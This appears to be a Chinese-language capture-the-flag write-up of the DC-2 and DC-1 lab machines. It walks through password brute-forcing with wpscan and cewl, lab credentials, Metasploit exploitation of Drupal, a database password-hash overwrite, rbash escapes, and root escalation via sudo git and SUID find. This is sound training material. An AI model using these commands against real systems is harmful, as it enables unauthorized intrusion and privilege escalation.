2024年3月

DC-2

访问80端口,发现自动跳转到DC-2

信息收集

2025-07-20T20:18:48.png

收集ip

arp-scan -l

2025-07-20T20:19:01.png

扫描端口

nmap -sV 192.168.6.138

2025-07-20T20:19:17.png

修改一下hosts文件

vim /etc/hosts

2025-07-20T20:19:24.png

保存重新访问即可

flag1

访问80端口在首页发现flag,访问得到

2025-07-20T20:19:32.png

flag2

根据flag1的提示:“Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.”

意思应该就是用cewl

cewl http://dc-2 -w passwd.txt

密码有了。还缺登录框和账号,先扫一下目录

dirb http://dc-2

2025-07-20T20:19:42.png

感觉是登录框,访问看一下

http://dc-2/wp-admin/admin.php

2025-07-20T20:19:50.png

登录框有了,看到是Wordpress,联想到wpscan,使用wpscan枚举用户名

wpscan --url http://dc-2/ -e u

保存枚举出来的3个账号在users.txt

admin 
jerry 
tom

使用wpscan爆破账号密码

wpscan --url http://dc-2/ -U users.txt -P passwd.txt

2025-07-20T20:20:01.png
得到两组账号密码

jerry / adipiscing                                                                                                                                                                              
 tom / parturient  

尝试登录一下,登陆成功,翻寻得到flag2

2025-07-20T20:20:09.png

flag3

根据提示:如果你不能利用WordPress并走捷径,还有另一种方法。

希望你找到了另一个入口。

重新扫描端口看看

nmap -A -p 1-65535 -v 192.168.6.138

2025-07-20T20:20:24.png

发现还有一个7744是SSH端口,用wordpress的账号尝试一下,jerry尝试了登不上去,果断换tom

ssh tom@192.168.6.138 -p 7744

2025-07-20T20:20:39.png
一下子就上去了

看看当前目录有什么,看到有个flag3.txt查看试试

2025-07-20T20:21:38.png
发现命令没办法用,被“rbash”限制了

再看看还有什么命令是能用的

compgen -c

2025-07-20T20:21:47.png

发现有个vi,用vi看看

2025-07-20T20:21:54.png

flag4

提示:“Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.”

提到了tom和jerry和su

应该是让我们提权,然后去看看jerry和su

vi可以用 有一个vi的提权

vi随便打开文件
输入:
再下面添加
:set shell=/bin/sh
:shell

提权成功后,看看其他目录,发现jerry

cd ..
ls

2025-07-20T20:22:09.png
进入jerry的目录看看,发现flag4.txt,使用vi查看

2025-07-20T20:22:21.png

·flag5

提示:”Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!!“

还没结束,前面FLAG3有提示su。我们去看看root目录,想直接切去root目录

2025-07-20T20:22:50.png

不行,找到了个rbash环境变量的提权方法

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a        //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量

先返回tom的权限

2025-07-20T20:22:58.png

提权成功,su到Jerry的账号下,发现还是不能进入root目录

执行sudo -l看看
2025-07-20T20:23:10.png
发现可以用git提权

git提权的方法

sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

2025-07-20T20:23:23.png

提权成功,切换到root目录下,查看flag5(final-flag.txt)

2025-07-20T20:23:30.png

DC-1

信息收集

收集ip

arp-scan -l

image-20240131231958-99jlr01.png

扫描端口

nmap -sV 192.168.6.135

image-20240131232107-65t475e.png

访问80端口,可以看到CMS为Drupal

image-20240131232922-kkoe6j5.png

漏洞利用

使用msfconsole查看Drupal的模块

1.进入msfconsole

msfconsole

2.搜索Drupal漏洞模块

search Drupal

![image-20240131233359-04wrw4w.png][1]​

3.使用2018年的模块

use 1

4.查看需要配置的参数

show options

2025-07-20T20:09:00.png

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

5.设置目标

set rhosts 192.168.6.135

6.攻击

run

2025-07-20T20:08:28.png

可以看到session的建立

7.获得shell

shell

为了方便看我们使用python进行反弹

python -c 'import pty; pty.spawn("/bin/bash")'

flag1

使用ls看到目录下有一个flag1.txt,使用cat读取

ls
cat flag1.txt

2025-07-20T20:09:25.png

给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

flag2

根据提示搜索配置文件

find . -name "set*"

2025-07-20T20:09:41.png

发现有文件,读取看到flag2提示

flag2
*蛮力和字典攻击不是
*只有获得访问权限的方法(你将需要访问权限)。
*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作

并且看到数据库账号密码

2025-07-20T20:10:01.png

flag3

尝试登录一下

mysql -udbuser -pR0ck3t

2025-07-20T20:10:10.png

查看库

show databases;

进入drupaldb库中

use drupaldb

2025-07-20T20:10:34.png
查看库中的表

show tables;

仔细观察可以看到有一个users的表

2025-07-20T20:10:44.png

查看表中内容

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向

2025-07-20T20:10:56.png

感觉admin的密码应该是某种hash加密,找找文件中有没有加密文件。

find . -name "*hash*"

2025-07-20T20:11:06.png

发现有加密文件,运行看一下

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

2025-07-20T20:11:16.png

得到hash值,尝试去数据库中替换密码

SD6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl

update users set pass='$S$D6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl' where name='admin';

2025-07-20T20:11:28.png

替换成功,尝试登录,登录成功得到flag3提示

2025-07-20T20:11:37.png

提示:

特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

flag4

根据提示的passwd,查看etc/passwd看看

cat /etc/passwd

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件

cd /home/flag4
ls

查看内容

cat flag4.txt

2025-07-20T20:11:53.png

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令

/ 根目录(查找位置)

-perm 权限

-u 用户(s=特权)

-type 类型

f 文件

2>/dev/nul 过滤错误信息(不显示错误信息)
2025-07-20T20:12:05.png

看到find,那就比较简单了。直接使用find提权

find / -exec /bin/bash \;

2025-07-20T20:12:16.png

再次查看flag4,得到提示

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root   
ls

可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt

获得最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7